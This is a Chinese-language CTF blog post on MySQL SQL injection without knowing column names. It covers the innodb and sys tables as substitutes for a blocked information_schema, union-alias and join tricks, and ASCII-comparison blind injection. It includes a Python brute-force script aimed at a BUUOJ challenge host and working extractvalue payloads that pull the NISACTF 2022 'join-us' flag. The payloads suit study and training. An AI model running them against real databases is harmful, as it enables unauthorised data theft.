无列名注入

通常情况是columns被ban了或者information被ban了 等读取不到列名的情况

information被ban时可以用以下表获取表名然后配合无列名注入

注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

InnoDb

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名

1
2
mysql.innodb_table_stats
mysql.innodb_index_stats

sys

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名

1
2
3
4
5
6
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
sys.x$schema_flattened_keys

没ban掉union可以用设置别名的方式来绕过列名

union可以构造一个虚拟表
select 1,2,3,4 union select *from teacher

**select的字段数要和table一样 **
后面就可以用
select 2 from (select 1,2,3,4 union select *from teacher)n //n不可省略(作用是设置别名)

这种来读取数据而不需要知道原先表的列名
ban了````时可以设置别名 as可以省略
select b from (select 1 a,2 b,3 c,4 d union select *from teacher)n

通过ascii位移无列名注入

首先可以通过类似这样的语句爆出字段数
(select 1,2,3) > (select *from teacher)
字段数相等会返回1,不相等则会报错

然后可以通过比较ascii大小来爆出数据

实际上是比较每一个字符的ascii 然后返回0 false 或者 1 true
然后可以比较表中数据来盲注
select (select 'flag') > (select *from test)

跟>的布尔盲注类似 返回1的前一个ASCII字符就是表中数据
贴个jio本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import time
import requests

baseurl="http://17d5864a-27fc-4fc7-be88-e639f3f55898.node4.buuoj.cn:81/index.php"


def add(flag):
res=''
res+=flag
return res
flag=''
for i in range(1,200):
for char in range(32,127):
datachar = add(flag+chr(char)) #增加下一个比对的字符串
payload='2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(datachar)
data = {
'id':payload
}
req=requests.post(url=baseurl,data=data)
if "Nu1L" in req.text:
flag += chr(char-1)
print(flag)
break
if req.status_code == 429:
time.sleep(0.5)

ban 了columns 但没ban掉information

join 的作用是连接两个表
在使用别名的时候,表中不能出现相同的字段名
(select * from (select * from test as a join test as b) as c);
a、b是同一个表连接,有相同的字段,select c(别名) 时 会报错出相同的列名
ps:
SELECT *时,USING会去除USING指定的列 ,可以用来爆破其他列名
(select * from (select * from test as a join test as b using(id)) as c);

[NISACTF 2022]join-us

fuzz
过滤了:

  • database
  • = //用 like
  • union
  • and //用 or
  • columns
  • sleep
  • updatexml //extractvalue
  • substr //mid or limit
  • left
  • right

ban了database
tt=1'or(select *from a)# 通过不存在的表爆出库名 sqlsql
不知道为什么这里用or就不行要用 ||
tt=1' || (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'))))#
表:Fal_flag , output
columns被ban了
无列名注入:
这里as被ban了
可以省略as 设置别名
tt=1'||extractvalue(0,concat(0x7e,(select * from (select * from output a join output b) c)))#
-> data
tt=1'||extractvalue(0,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b) c)))#
-> id
爆数据
tt=1'||extractvalue(0,concat(0x7e,(select data from output)))#
-> NSSCTF{752a1163-4e92-47d5-91
tt=1'||extractvalue(0,concat(0x7e,mid((select data from output),29,48)))#
-> 9b-ef75c021f69e}


无列名注入
http://example.com/2023/12/04/无列名注入/
作者
J_0k3r
发布于
2023年12月4日
许可协议
BY J_0K3R